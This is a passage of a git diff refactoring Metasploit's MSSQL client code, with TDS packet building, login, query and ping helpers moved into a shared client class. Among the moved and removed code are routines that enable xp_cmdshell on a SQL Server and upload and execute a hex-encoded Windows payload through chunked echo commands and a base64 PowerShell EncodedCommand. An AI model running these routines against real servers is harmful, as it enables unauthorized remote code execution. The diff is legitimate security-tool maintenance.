sev, elen = buff.slice!(0, 8).unpack('VCCv') -- emsg = buff.slice!(0, elen * 2) -- emsg.gsub!("\x00", '') -- -- info[:infos] ||= [] -- info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}" -- info -- end -- -- def mssql_query(sqla, doprint=false, opts={}) -- @client.mssql_query(sqla, doprint, opts) -- end -- -- # -- # Parse a "login ack" TDS token -- # -- def mssql_parse_login_ack(data, info) -- len = data.slice!(0, 2).unpack('v')[0] -- _buff = data.slice!(0, len) -- info[:login_ack] = true -- end -- -- def mssql_ping(timeout=5) -- data = { } -- -- ping_sock = Rex::Socket::Udp.create( -- 'PeerHost' => rhost, -- 'PeerPort' => 1434, -- 'Context' => -- { -- 'Msf' => framework, -- 'MsfExploit' => self, -- }) -- -- ping_sock.put("\x02") -- resp, _saddr, _sport = ping_sock.recvfrom(65535, timeout) -- ping_sock.close -- -- return data if not resp -- return data if resp.length == 0 -- -- return mssql_ping_parse(resp) -- end -- -- def mssql_ping_parse(data) -- res = [] -- var = nil -- idx = data.index('ServerName') -- return res if not idx -- sdata = data[idx, (data.length - 1)] -- -- instances = sdata.split(';;') -- instances.each do |instance| -- rinst = {} -- instance.split(';').each do |d| -- if (not var) -- var = d -- else -- if (var.length > 0) -- rinst[var] = d -- var = nil -- end -- end -- end -- res << rinst -- end -- -- return res -- end -- -- def mssql_print_reply(info) -- print_status("SQL Query: #{info[:sql]}") -- -- if info[:done] && info[:done][:rows].to_i > 0 -- print_status("Row Count: #{info[:done][:rows]} (Status: #{info[:done][:status]} Command: #{info[:done][:cmd]})") -- end -- -- if info[:errors] && !info[:errors].empty? -- info[:errors].each do |err| -- print_error(err) -- end -- end -- -- if info[:rows] && !info[:rows].empty? -- -- tbl = Rex::Text::Table.new( -- 'Indent' => 1, -- 'Header' => "", -- 'Columns' => info[:colnames], -- 'SortIndex' => -1 -- ) -- -- info[:rows].each do |row| -- tbl << row -- end -- -- print_line(tbl.to_s) -- end -- end --end --end --end --end -diff --git a/lib/metasploit/framework/mssql/metasploit_mixin.rb b/lib/metasploit/framework/mssql/metasploit_mixin.rb -index 80b3c96084..6cba638a71 100644 ---- a/lib/metasploit/framework/mssql/metasploit_mixin.rb -+++ b/lib/metasploit/framework/mssql/metasploit_mixin.rb -@@ -1,4 +1,5 @@ - require 'rex/proto/mssql/client' -+require 'metasploit/framework/tcp/client' - - module Metasploit - module Framework -@@ -6,6 +7,10 @@ module MSSQL - - # A base mixin of useful mssql methods for parsing structures etc - module MetasploitMixin -+ # include Metasploit::Framework::Tcp::Client -+ include Msf::Exploit::Remote::MSSQL_COMMANDS -+ include Msf::Exploit::Remote::Udp -+ include Msf::Exploit::Remote::Tcp - - # - # Send and receive using TDS -@@ -22,15 +27,17 @@ module MSSQL - # Encrypt a password according to the TDS protocol (encode) - # - def mssql_tds_encrypt(pass) -- @client.mssql_tds_encrypt(pass) -+ client = @client || Rex::Proto::MSSQL::Client.new(self, framework, datastore['RHOST'], datastore['RPORT']) -+ client.mssql_tds_encrypt(pass) - end - - def mssql_login(user='sa', pass='', db='', domain_name='') -- @client = Rex::Proto::MSSQL::Client.new(self, framework, datastore['RHOST'], datastore['RPORT']) -+ @client = Rex::Proto::MSSQL::Client.new(self, framework, datastore['RHOST'], datastore['RPORT']) unless @client - @client.mssql_login(user, pass, db, domain_name) - end - - def mssql_ping(timeout=5) -+ @client = @client || Rex::Proto::MSSQL::Client.new(self, framework, datastore['RHOST'], datastore['RPORT']) - @client.mssql_ping(timeout) - end - -@@ -44,6 +51,9 @@ module MSSQL - @client.mssql_parse_tds_reply(data, info) - end - -+ def mssql_xpcmdshell(cmd, doprint=false, opts={}) -+ @client.mssql_xpcmdshell(cmd, doprint, opts) -+ end - # - # Parse individual tokens from a TDS reply - # -@@ -104,10 +114,6 @@ module MSSQL - @client.mssql_parse_login_ack(data, info) - end - -- def mssql_ping(timeout=5) -- @client.mssql_ping(timeout) -- end -- - def mssql_print_reply(info) - @client.mssql_print_reply(info) - end -diff --git a/lib/metasploit/framework/tcp/client.rb b/lib/metasploit/framework/tcp/client.rb -index f22e07870f..c93905cc73 100644 ---- a/lib/metasploit/framework/tcp/client.rb -+++ b/lib/metasploit/framework/tcp/client.rb -@@ -73,7 +73,6 @@ module Metasploit - # @see Rex::Socket::Tcp - # @see Rex::Socket::Tcp.create - def connect(global = true, opts={}) -- - dossl = false - if(opts.has_key?('SSL')) - dossl = opts['SSL'] -diff --git a/lib/msf/core/exploit/remote/mssql.rb b/lib/msf/core/exploit/remote/mssql.rb -index 0a7b3705fe..f28a7a3114 100644 ---- a/lib/msf/core/exploit/remote/mssql.rb -+++ b/lib/msf/core/exploit/remote/mssql.rb -@@ -1,6 +1,6 @@ - # -*- coding: binary -*- -- --require 'metasploit/framework/mssql/base' -+require 'rex/proto/mssql/client' -+require 'metasploit/framework/tcp/client' - - module Msf - -@@ -15,7 +15,6 @@ module Exploit::Remote::MSSQL - include Exploit::Remote::Udp - include Exploit::Remote::Tcp - include Exploit::Remote::NTLM::Client -- include Metasploit::Framework::MSSQL::Base - include Msf::Exploit::Remote::Kerberos::Ticket::Storage - include Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Options - -@@ -75,9 +74,6 @@ module Exploit::Remote::MSSQL - return mssql_ping_parse(resp) - end - -- # -- # Parse a 'ping' response and format as a hash -- # - def mssql_ping_parse(data) - res = [] - var = nil -@@ -107,188 +103,80 @@ module Exploit::Remote::MSSQL - # - # Execute a system command via xp_cmdshell - # -- def mssql_xpcmdshell(cmd, doprint=false, opts={}) -- force_enable = false -- begin -- res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", false, opts) -- if res[:errors] && !res[:errors].empty? -- if res[:errors].join =~ /xp_cmdshell/ -- if force_enable -- print_error("The xp_cmdshell procedure is not available and could not be enabled") -- raise RuntimeError, "Failed to execute command" -- else -- print_status("The server may have xp_cmdshell disabled, trying to enable it...") -- mssql_query(mssql_xpcmdshell_enable()) -- raise RuntimeError, "xp_cmdshell disabled" -- end -- end -- end -- -- mssql_print_reply(res) if doprint -- -- return res -+ def mssql_parse_tds_reply(data, info) -+ @client.mssql_parse_tds_reply(data, info) -+ end - -- rescue RuntimeError => e -- if e.to_s =~ /xp_cmdshell disabled/ -- force_enable = true -- retry -- end -- raise e -- end -+ def mssql_parse_reply(data, info) -+ @client.mssql_parse_reply(data, info) - end - - # -- # Upload and execute a Windows binary through MSSQL queries -+ # Parse a single row of a TDS reply - # -- def mssql_upload_exec(exe, debug=false) -- hex = exe.unpack("H*")[0] -+ def mssql_parse_tds_row(data, info) -+ @client.mssql_parse_tds_row(data, info) -+ end - -- var_bypass = rand_text_alpha(8) -- var_payload = rand_text_alpha(8) -+ # -+ # Parse a "ret" TDS token -+ # -+ def mssql_parse_ret(data, info) -+ @client.mssql_parse_ret(data, info) -+ end - -- print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory") -- print_status("Writing the debug.com loader to the disk...") -- h2b = File.read(datastore['HEX2BINARY'], File.size(datastore['HEX2BINARY'])) -- h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}") -- h2b.split(/\n/).each do |line| -- mssql_xpcmdshell("#{line}", false) -- end -+ # -+ # Parse a "done" TDS token -+ # -+ def mssql_parse_done(data, info) -+ @client.mssql_parse_done(data, info) -+ end - -- print_status("Converting the debug script to an executable...") -- mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug) -- mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug) -+ # -+ # Parse an "error" TDS token -+ # -+ def mssql_parse_error(data, info) -+ @client.mssql_parse_error(data, info) -+ end - -- print_status("Uploading the payload, please be patient...") -- idx = 0 -- cnt = 500 -- while(idx < hex.length - 1) -- mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false) -- idx += cnt -- end -+ # -+ # Parse an "environment change" TDS token -+ # -+ def mssql_parse_env(data, info) -+ @client.mssql_parse_env(data, info) -+ end - -- print_status("Converting the encoded payload...") -- mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug) -- mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug) -- mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug) -+ # -+ # Parse an "information" TDS token -+ # -+ def mssql_parse_info(data, info) -+ @client.mssql_parse_info(data, info) -+ end - -- print_status("Executing the payload...") -- mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1}) -+ def mssql_xpcmdshell(cmd, doprint=false, opts={}) -+ @client.mssql_xpcmdshell(cmd, doprint, opts) - end - -+ # -+ # Upload and execute a Windows binary through MSSQL queries -+ # -+ def mssql_upload_exec(exe, debug=false) -+ @client.mssql_upload_exec -+ end - - # - # Upload and execute a Windows binary through MSSQL queries and Powershell - # - def powershell_upload_exec(exe, debug=false) -- -- # hex converter -- hex = exe.unpack("H*")[0] -- # create random alpha 8 character names -- #var_bypass = rand_text_alpha(8) -- var_payload = rand_text_alpha(8) -- print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory") -- # our payload converter, grabs a hex file and converts it to binary for us through powershell -- h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)" -- h2b_unicode=Rex::Text.to_unicode(h2b) -- # base64 encode it, this allows us to perform execution through powershell without registry changes -- h2b_encoded = Rex::Text.encode_base64(h2b_unicode) -- print_status("Uploading the payload #{var_payload}, please be patient...") -- idx = 0 -- cnt = 500 -- while(idx < hex.length - 1) -- mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false) -- idx += cnt -- end -- print_status("Converting the payload utilizing PowerShell EncodedCommand...") -- mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug) -- mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug) -- print_status("Executing the payload...") -- mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1}) -- print_status("Be sure to cleanup #{var_payload}.exe...") -+ @client.powershell_upload_exec(exe, debug) - end - - # - #this method send a prelogin packet and check if encryption is off - # - def mssql_prelogin(enc_error=false) -- -- pkt = "" -- pkt_hdr = "" -- pkt_data_token = "" -- pkt_data = "" -- -- -- pkt_hdr = [ -- TYPE_PRE_LOGIN_MESSAGE, #type -- STATUS_END_OF_MESSAGE, #status -- 0x0000, #length -- 0x0000, # SPID -- 0x00, # PacketID -- 0x00 #Window -- ] -- -- version = [0x55010008, 0x0000].pack("Vv") -- encryption = ENCRYPT_NOT_SUP # off -- instoptdata = "MSSQLServer\0" -- -- threadid = "\0\0" + Rex::Text.rand_text(2) -- -- idx = 21 # size of pkt_data_token -- pkt_data_token << [ -- 0x00, # Token 0 type Version -- idx, # VersionOffset -- version.length, # VersionLength -- -- 0x01, # Token 1 type Encryption -- idx = idx + version.length, # EncryptionOffset -- 0x01, # EncryptionLength -- -- 0x02, # Token 2 type InstOpt -- idx = idx + 1, # InstOptOffset -- instoptdata.length, # InstOptLength -- -- 0x03, # Token 3 type Threadid -- idx + instoptdata.length, # ThreadIdOffset -- 0x04, # ThreadIdLength -- -- 0xFF -- ].pack("CnnCnnCnnCnnC") -- -- pkt_data << pkt_data_token -- pkt_data << version -- pkt_data << encryption -- pkt_data << instoptdata -- pkt_data << threadid -- -- pkt_hdr[2] = pkt_data.length + 8 -- -- pkt = pkt_hdr.pack("CCnnCC") + pkt_data -- -- resp = mssql_send_recv(pkt) -- -- idx = 0 -- -- while resp && resp[0, 1] != "\xff" && resp.length > 5 -- token = resp.slice!(0, 5) -- token = token.unpack("Cnn") -- idx -= 5 -- if token[0] == 0x01 -- idx += token[1] -- break -- end -- end -- -- if idx > 0 -- encryption_mode = resp[idx, 1].unpack("C")[0] -- else -- # force to ENCRYPT_NOT_SUP and hope for the best -- encryption_mode = ENCRYPT_NOT_SUP -- end -- -- if encryption_mode != ENCRYPT_NOT_SUP && enc_error -- raise RuntimeError,"Encryption is not supported" -- end -- encryption_mode -+ @client ||= Rex::Proto::MSSQL::Client.new(self, framework, datastore['RHOST'], datastore['RPORT']) -+ @client.mssql_prelogin(enc_error) - end - - # -@@ -296,404 +184,22 @@ module Exploit::Remote::MSSQL - # to authenticate with the supplied username and password - # The global socket is used and left connected after auth - # -- def mssql_login(user='sa', pass='', db='') -- -- disconnect if self.sock -- connect -- -- begin -- # Send a prelogin packet and check that encryption is not enabled -- if mssql_prelogin != ENCRYPT_NOT_SUP -- print_error('Encryption is not supported') -- return false -- end -- rescue EOFError -- print_error('Probable server or network failure') -- return false -- end -- -- if datastore['Mssql::Auth'] == Msf::Exploit::Remote::AuthOption::KERBEROS -- idx = 0 -- pkt = '' -- pkt_hdr = '' -- pkt_hdr = [ -- TYPE_TDS7_LOGIN, #type -- STATUS_END_OF_MESSAGE, #status -- 0x0000, #length -- 0x0000, # SPID -- 0x01, # PacketID (unused upon specification -- # but ms network monitor still prefer 1 to decode correctly, wireshark don't care) -- 0x00 #Window -- ] -- -- pkt << [ -- 0x00000000, # Size -- 0x71000001, # TDS Version -- 0x00000000, # Dummy Size -- 0x00000007, # Version -- rand(1024+1), # PID -- 0x00000000, # ConnectionID -- 0xe0, # Option Flags 1 -- 0x83, # Option Flags 2 -- 0x00, # SQL Type Flags -- 0x00, # Reserved Flags -- 0x00000000, # Time Zone -- 0x00000000 # Collation -- ].pack('VVVVVVCCCCVV') -- -- cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) -- aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name -- sname = Rex::Text.to_unicode( rhost ) -- -- fail_with(Msf::Exploit::Failure::BadConfig, 'The Mssql::Rhostname option is required when using Kerberos authentication.') if datastore['Mssql::Rhostname'].blank? -- fail_with(Msf::Exploit::Failure::BadConfig, 'The DOMAIN option is required when using Kerberos authentication.') if datastore['DOMAIN'].blank? -- fail_with(Msf::Exploit::Failure::BadConfig, 'The DomainControllerRhost is required when using Kerberos authentication.') if datastore['DomainControllerRhost'].blank? -- offered_etypes = Msf::Exploit::Remote::AuthOption.as_default_offered_etypes(datastore['MssqlKrbOfferedEncryptionTypes']) -- fail_with(Msf::Exploit::Failure::BadConfig, 'At least one encryption type is required when using Kerberos authentication.') if offered_etypes.empty? -- -- kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::MSSQL.new( -- host: datastore['DomainControllerRhost'], -- hostname: datastore['Mssql::Rhostname'], -- proxies: datastore['Proxies'], -- mssql_port: rport, -- realm: datastore['MssqlDomain'], -- username: datastore['username'], -- password: datastore['password'], -- framework: framework, -- framework_module: self, -- cache_file: datastore['Mssql::Krb5Ccname'].blank? ? nil : datastore['Mssql::Krb5Ccname'], -- ticket_storage: kerberos_ticket_storage, -- offered_etypes: offered_etypes -- ) -- -- kerberos_result = kerberos_authenticator.authenticate -- ssp_security_blob = kerberos_result[:security_blob] -- -- idx = pkt.size + 50 # lengths below -- -- pkt << [idx, cname.length / 2].pack('vv') -- idx += cname.length -- -- pkt << [0, 0].pack('vv') # User length offset must be 0 -- pkt << [0, 0].pack('vv') # Password length offset must be 0 -- -- pkt << [idx, aname.length / 2].pack('vv') -- idx += aname.length -- -- pkt << [idx, sname.length / 2].pack('vv') -- idx += sname.length -- -- pkt << [0, 0].pack('vv') # unused -- -- pkt << [idx, aname.length / 2].pack('vv') -- idx += aname.length -- -- pkt << [idx, 0].pack('vv') # locales -- -- pkt << [idx, 0].pack('vv') #db -- -- # ClientID (should be mac address) -- pkt << Rex::Text.rand_text(6) -- -- # SSP -- pkt << [idx, ssp_security_blob.length].pack('vv') -- idx += ssp_security_blob.length -- -- pkt << [idx, 0].pack('vv') # AtchDBFile -- -- pkt << cname -- pkt << aname -- pkt << sname -- pkt << aname -- pkt << ssp_security_blob -- -- # Total packet length -- pkt[0, 4] = [pkt.length].pack('V') -- -- pkt_hdr[2] = pkt.length + 8 -- -- pkt = pkt_hdr.pack("CCnnCC") + pkt -- -- # Rem : One have to set check_status to false here because sql server sp0 (and maybe above) -- # has a strange behavior that differs from the specifications -- # upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header -- # is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentication -- resp = mssql_send_recv(pkt, 15, false) -- -- info = {:errors => []} -- info = mssql_parse_reply(resp, info) -- -- return false if not info -- return info[:login_ack] ? true : false -- elsif datastore['Mssql::Auth'] == Msf::Exploit::Remote::AuthOption::NTLM || datastore['USE_WINDOWS_AUTHENT'] -- idx = 0 -- pkt = '' -- pkt_hdr = '' -- pkt_hdr = [ -- TYPE_TDS7_LOGIN, #type -- STATUS_END_OF_MESSAGE, #status -- 0x0000, #length -- 0x0000, # SPID -- 0x01, # PacketID (unused upon specification -- # but ms network monitor still prefer 1 to decode correctly, wireshark don't care) -- 0x00 #Window -- ] -- -- pkt << [ -- 0x00000000, # Size -- 0x71000001, # TDS Version -- 0x00000000, # Dummy Size -- 0x00000007, # Version -- rand(1024+1), # PID -- 0x00000000, # ConnectionID -- 0xe0, # Option Flags 1 -- 0x83, # Option Flags 2 -- 0x00, # SQL Type Flags -- 0x00, # Reserved Flags -- 0x00000000, # Time Zone -- 0x00000000 # Collation -- ].pack('VVVVVVCCCCVV') -- -- cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) -- aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name -- sname = Rex::Text.to_unicode( rhost ) -- dname = Rex::Text.to_unicode( db ) -- -- workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) -- -- ntlm_client = ::Net::NTLM::Client.new( -- user, -- pass, -- workstation: workstation_name, -- domain: datastore['DOMAIN'], -- ) -- type1 = ntlm_client.init_context -- # SQL 2012, at least, does not support KEY_EXCHANGE -- type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE] -- ntlmsspblob = type1.serialize -- -- idx = pkt.size + 50 # lengths below -- -- pkt << [idx, cname.length / 2].pack('vv') -- idx += cname.length -- -- pkt << [0, 0].pack('vv') # User length offset must be 0 -- pkt << [0, 0].pack('vv') # Password length offset must be 0 -- -- pkt << [idx, aname.length / 2].pack('vv') -- idx += aname.length -- -- pkt << [idx, sname.length / 2].pack('vv') -- idx += sname.length -- -- pkt << [0, 0].pack('vv') # unused -- -- pkt << [idx, aname.length / 2].pack('vv') -- idx += aname.length -- -- pkt << [idx, 0].pack('vv') # locales -- -- pkt << [idx, 0].pack('vv') #db -- -- # ClientID (should be mac address) -- pkt << Rex::Text.rand_text(6) -- -- # NTLMSSP -- pkt << [idx, ntlmsspblob.length].pack('vv') -- idx += ntlmsspblob.length -- -- pkt << [idx, 0].pack('vv') # AtchDBFile -- -- pkt << cname -- pkt << aname -- pkt << sname -- pkt << aname -- pkt << ntlmsspblob -- -- # Total packet length -- pkt[0, 4] = [pkt.length].pack('V') -- -- pkt_hdr[2] = pkt.length + 8 -- -- pkt = pkt_hdr.pack("CCnnCC") + pkt -- -- # Rem : One have to set check_status to false here because sql server sp0 (and maybe above) -- # has a strange behavior that differs from the specifications -- # upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header -- # is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentication -- resp = mssql_send_recv(pkt, 15, false) -- -- unless resp.include?("NTLMSSP") -- info = {:errors => []} -- mssql_parse_reply(resp, info) -- mssql_print_reply(info) -- return false -- end -- -- # Get default data -- resp = resp[3..-1] -- type3 = ntlm_client.init_context([resp].pack('m')) -- type3_blob = type3.serialize -- -- # Create an SSPIMessage -- idx = 0 -- pkt = '' -- pkt_hdr = '' -- pkt_hdr = [ -- TYPE_SSPI_MESSAGE, #type -- STATUS_END_OF_MESSAGE, #status -- 0x0000, #length -- 0x0000, # SPID -- 0x01, # PacketID -- 0x00 #Window -- ] -- -- pkt_hdr[2] = type3_blob.length + 8 -- -- pkt = pkt_hdr.pack("CCnnCC") + type3_blob -- -- resp = mssql_send_recv(pkt) -- -- -- #SQL Server authentication -- else -- idx = 0 -- pkt = '' -- pkt << [ -- 0x00000000, # Dummy size -- -- 0x71000001, # TDS Version -- 0x00000000, # Size -- 0x00000007, # Version -- rand(1024+1), # PID -- 0x00000000, # ConnectionID -- 0xe0, # Option Flags 1 -- 0x03, # Option Flags 2 -- 0x00, # SQL Type Flags -- 0x00, # Reserved Flags -- 0x00000000, # Time Zone -- 0x00000000 # Collation -- ].pack('VVVVVVCCCCVV') -- -- -- cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) -- uname = Rex::Text.to_unicode( user ) -- pname = mssql_tds_encrypt( pass ) -- aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) -- sname = Rex::Text.to_unicode( rhost ) -- dname = Rex::Text.to_unicode( db ) -- -- idx = pkt.size + 50 # lengths below -- -- pkt << [idx, cname.length / 2].pack('vv') -- idx += cname.length -- -- pkt << [idx, uname.length / 2].pack('vv') -- idx += uname.length -- -- pkt << [idx, pname.length / 2].pack('vv') -- idx += pname.length -- -- pkt << [idx, aname.length / 2].pack('vv') -- idx += aname.length -- -- pkt << [idx, sname.length / 2].pack('vv') -- idx += sname.length -- -- pkt << [0, 0].pack('vv') -- -- pkt << [idx, aname.length / 2].pack('vv') -- idx += aname.length -- -- pkt << [idx, 0].pack('vv') -- -- pkt << [idx, dname.length / 2].pack('vv') -- idx += dname.length -- -- # The total length has to be embedded twice more here -- pkt << [ -- 0, -- 0, -- 0x12345678, -- 0x12345678 -- ].pack('vVVV') -- -- pkt << cname -- pkt << uname -- pkt << pname -- pkt << aname -- pkt << sname -- pkt << aname -- pkt << dname -- -- # Total packet length -- pkt[0, 4] = [pkt.length].pack('V') -- -- # Embedded packet lengths -- pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2 -- -- # Packet header and total length including header -- pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt -- -- begin -- resp = mssql_send_recv(pkt) -- rescue EOFError -- print_error('Probable server or network failure') -- return false -- end -- end -- -- info = {:errors => []} -- info = mssql_parse_reply(resp, info) -- -- return false if not info -- info[:login_ack] ? true : false -- end -- -- # -- # Login to the SQL server using the standard USERNAME/PASSWORD options -- # -- def mssql_login_datastore(db='') -- mssql_login(datastore['USERNAME'], datastore['PASSWORD'], db) -+ def mssql_login(user='sa', pass='', db='', domain_name='') -+ @client = Rex::Proto::MSSQL::Client.new(self, framework, datastore['RHOST'], datastore['RPORT']) -+ @client.mssql_login(user, pass, db, domain_name) - end - - # - # Issue a SQL query using the TDS protocol - # - def mssql_query(sqla, doprint=false, opts={}) -- info = { :sql => sqla } -- -- opts[:timeout] ||= 15 -- -- pkts = [] -- idx = 0 -- -- bsize = 4096 - 8 -- chan = 0 -- -- @cnt ||= 0 -- @cnt += 1 -- -- sql = Rex::Text.to_unicode(sqla) -- while(idx < sql.length) -- buf = sql[idx, bsize] -- flg = buf.length < bsize ? "\x01" : "\x00" -- pkts << "\x01" + flg + [buf.length + 8].pack('n') + [chan].pack('n') + [@cnt].pack('C') + "\x00" + buf -- idx += bsize -- -- end -- -- resp = mssql_send_recv(pkts.join, opts[:timeout]) -- mssql_parse_reply(resp, info) -- mssql_print_reply(info) if doprint -- info -+ @client.mssql_query(sqla, doprint, opts) - end - - # - # Nicely print the results of a SQL query - # - def mssql_print_reply(info) -- - print_status("SQL Query: #{info[:sql]}") - - if info[:done] && info[:done][:rows].to_i > 0 -@@ -722,5 +228,17 @@ module Exploit::Remote::MSSQL - print_line(tbl.to_s) - end - end -+ -+ def mssql_send_recv(req, timeout=15, check_status = true) -+ @client.mssql_send_recv(req, timeout, check_status) -+ end -+ -+ # -+ # Encrypt a password according to the TDS protocol (encode) -+ # -+ def mssql_tds_encrypt(pass) -+ # Convert to unicode, swap 4 bits both ways, xor with 0xa5 -+ Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*") -+ end - end - end -diff --git a/lib/msf/core/module/alert.rb b/lib/msf/core/module/alert.rb -index 93e5ff4e99..c80314c0e8 100644 ---- a/lib/msf/core/module/alert.rb -+++ b/lib/msf/core/module/alert.rb -@@ -204,7 +204,7 @@ module Msf::Module::Alert - - errors.each do |msg| - if msg && !self.you_have_been_warned[msg.hash] -- print_error(msg.full_message) -+ print_error(msg) - self.you_have_been_warned[msg.hash] = true - end - end -diff --git a/lib/rex/proto/mssql/client.rb b/lib/rex/proto/mssql/client.rb -index b0c10c3f60..b4e9929a74 100644 ---- a/lib/rex/proto/mssql/client.rb -+++ b/lib/rex/proto/mssql/client.rb -@@ -28,6 +28,8 @@ module Rex - attr_accessor :send_lm - attr_accessor :send_ntlm - attr_accessor :send_spn -+ attr_accessor :send_delay -+ attr_accessor :max_send_size - attr_accessor :use_lmkey - attr_accessor :use_ntlm2_session - attr_accessor :use_ntlmv2 -@@ -44,21 +46,14 @@ module Rex - def initialize(framework_module, framework, rhost, rport = 1433) - @framework_module = framework_module - @framework = framework -- @connection_timeout = 30 -- @max_send_size = 0 -- @send_delay = 0 -- -- # Don't use ||= with booleans -- @send_lm = true -- @send_ntlm = true -- @send_spn = true -- @use_lmkey = false -- @use_ntlm2_session = true -- @use_ntlmv2 = true -- @auth = Msf::Exploit::Remote::AuthOption::AUTO -- -- @windows_authentication = false -- @tdsencryption = false -+ @connection_timeout = 30 || framework_module.datastore['ConnectTimeout'] -+ @max_send_size = 0 || framework_module.datastore['TCP::max_send_size'] -+ @send_delay = 0 || framework_module.datastore['TCP::send_delay'] -+ -+ @auth = Msf::Exploit::Remote::AuthOption::AUTO || framework_module.datastore['Mssql::Auth'] -+ -+ @windows_authentication = false || framework_module.datastore['USE_WINDOWS_AUTHENT'] -+ @tdsencryption = false || framework_module.datastore['TDSENCRYPTION'] - @rhost = rhost - @rport = rport - end -@@ -577,40 +572,9 @@ module Rex - - resp = mssql_send_recv(pkts.join, opts[:timeout]) - mssql_parse_reply(resp, info) -- mssql_print_reply(info) if doprint - info - end - -- def mssql_xpcmdshell(cmd, doprint=false, opts={}) -- force_enable = false -- begin -- res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", false, opts) -- if res[:errors] && !res[:errors].empty? -- if res[:errors].join =~ /xp_cmdshell/ -- if force_enable -- print_error("The xp_cmdshell procedure is not available and could not be enabled") -- raise RuntimeError, "Failed to execute command" -- else -- print_status("The server may have xp_cmdshell disabled, trying to enable it...") -- mssql_query(mssql_xpcmdshell_enable()) -- raise RuntimeError, "xp_cmdshell disabled" -- end -- end -- end -- -- mssql_print_reply(res) if doprint -- -- return res -- -- rescue RuntimeError => e -- if e.to_s =~ /xp_cmdshell disabled/ -- force_enable = true -- retry -- end -- raise e -- end -- end -- - def mssql_upload_exec(exe, debug=false) - hex = exe.unpack("H*")[0] - -diff --git a/lib/rex/proto/mssql/client_mixin.rb b/lib/rex/proto/mssql/client_mixin.rb -index 2fbd4a4b24..51a445bd8f 100644 ---- a/lib/rex/proto/mssql/client_mixin.rb -+++ b/lib/rex/proto/mssql/client_mixin.rb -@@ -3,7 +3,9 @@ module Proto - module MSSQL - # A base mixin of useful mssql methods for parsing structures etc - module ClientMixin -- -+ include Msf::Module::UI::Message -+ extend Forwardable -+ def_delegators :@framework_module, :print_prefix, :print_status, :print_error, :print_good, :print_warning - # Encryption - ENCRYPT_OFF = 0x00 #Encryption is available but off. - ENCRYPT_ON = 0x01 #Encryption is available and on. -@@ -73,6 +75,35 @@ module ClientMixin - Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*") - end - -+ def mssql_xpcmdshell(cmd, doprint=false, opts={}) -+ force_enable = false -+ begin -+ res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", false, opts) -+ if res[:errors] && !res[:errors].empty? -+ if res[:errors].join =~ /xp_cmdshell/ -+ if force_enable -+ print_error("The xp_cmdshell procedure is not available and could not be enabled") -+ raise RuntimeError, "Failed to execute command" -+ else -+ print_status("The server may have xp_cmdshell disabled, trying to enable it...") -+ mssql_query(mssql_xpcmdshell_enable()) -+ raise RuntimeError, "xp_cmdshell disabled" -+ end -+ end -+ end -+ -+ mssql_print_reply(res) if doprint -+ -+ return res -+ -+ rescue RuntimeError => e -+ if e.to_s =~ /xp_cmdshell disabled/ -+ force_enable = true -+ retry -+ end -+ raise e -+ end -+ end - # - # Parse a raw TDS reply from the server - # -@@ -349,83 +380,6 @@ module ClientMixin - info[:login_ack] = true - end - -- def mssql_ping(timeout=5) -- data = { } -- -- ping_sock = Rex::Socket::Udp.create( -- 'PeerHost' => rhost, -- 'PeerPort' => 1434, -- 'Context' => -- { -- 'Msf' => framework, -- 'MsfExploit' => self, -- }) -- -- ping_sock.put("\x02") -- resp, _saddr, _sport = ping_sock.recvfrom(65535, timeout) -- ping_sock.close -- -- return data if not resp -- return data if resp.length == 0 